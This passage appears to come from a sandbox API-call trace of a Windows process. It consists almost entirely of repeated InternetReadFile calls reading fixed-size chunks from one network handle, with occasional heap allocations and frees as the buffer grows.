lpBuffer=0x33b68a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b68a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.387] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b6c90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b6c90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.388] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b7078, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b7078*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.388] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b7460, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b7460*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.388] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b7848, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b7848*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.388] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b7c30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b7c30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.388] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b8018, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b8018*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.389] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b8400, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b8400*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.389] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b87e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b87e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.389] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33b8bd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33b8bd0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.389] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16800) returned 0x33b9178 [0095.391] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa170 | out: hHeap=0x2110000) returned 1 [0095.392] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c7fc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c7fc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.420] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c83a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c83a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.420] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c8790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c8790*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.420] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c8b78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c8b78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.420] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c8f60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c8f60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.421] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c9348, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c9348*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.421] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c9730, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c9730*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.421] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c9b18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c9b18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.421] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c9f00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c9f00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.421] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ca2e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ca2e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.421] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ca6d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ca6d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.422] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33caab8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33caab8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.422] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33caea0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33caea0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.424] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cb288, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cb288*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.425] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cb670, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cb670*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.425] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cba58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cba58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.425] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cbe40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cbe40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.428] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cc228, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cc228*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.428] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cc610, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cc610*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.429] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cc9f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cc9f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.429] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ccde0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ccde0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.430] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cd1c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cd1c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.430] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cd5b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cd5b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.430] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cd998, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cd998*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.430] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cdd80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cdd80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.430] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ce168, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ce168*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.431] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ce550, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ce550*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.431] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ce938, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ce938*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.431] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ced20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ced20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.431] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cf108, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cf108*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.431] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cf4f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cf4f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.431] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x1e000) returned 0x33cf980 [0095.434] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33b9178 | out: hHeap=0x2110000) returned 1 [0095.435] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e60e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e60e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.435] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e64c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e64c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.435] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e68b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e68b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.436] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e6c98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e6c98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.436] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e7080, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e7080*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.436] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e7468, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e7468*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.436] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e7850, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e7850*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.436] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e7c38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e7c38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.436] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e8020, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e8020*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.437] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e8408, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e8408*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.437] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e87f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e87f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.437] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e8bd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e8bd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.437] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e8fc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e8fc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.437] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e93a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e93a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.437] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e9790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e9790*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.438] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e9b78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e9b78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.438] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e9f60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e9f60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.438] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ea348, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ea348*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.438] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ea730, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ea730*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.438] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33eab18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33eab18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.438] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33eaf00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33eaf00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.438] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33eb2e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33eb2e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33eb6d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33eb6d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ebab8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ebab8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ebea0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ebea0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ec288, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ec288*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ec670, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ec670*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33eca58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33eca58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ece40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ece40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.440] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ed228, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ed228*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.440] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x25800) returned 0x33aa170 [0095.442] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33cf980 | out: hHeap=0x2110000) returned 1 [0095.443] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c7e00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c7e00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.443] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c81e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c81e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.443] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c85d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c85d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.443] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c89b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c89b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.444] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c8da0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c8da0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.444] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c9188, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c9188*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.444] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c9570, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c9570*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.444] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c9958, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c9958*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.444] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c9d40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33c9d40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.444] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ca128, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ca128*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.444] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ca510, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ca510*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ca8f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ca8f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cace0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cace0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cb0c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cb0c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cb4b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cb4b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cb898, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cb898*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cbc80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cbc80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cc068, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cc068*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.446] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cc450, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cc450*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.446] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cc838, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cc838*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.446] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ccc20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ccc20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.446] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cd008, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cd008*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.448] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cd3f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cd3f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.449] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cd7d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cd7d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.449] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cdbc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cdbc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.449] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cdfa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cdfa8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.449] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ce390, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ce390*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.449] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ce778, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ce778*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.449] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ceb60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ceb60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.449] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cef48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cef48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.450] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33cf330, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33cf330*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.450] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d000) returned 0x33cf980 [0095.453] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa170 | out: hHeap=0x2110000) returned 1 [0095.454] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f4f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f4f28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.455] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f5310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f5310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.455] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f56f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f56f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 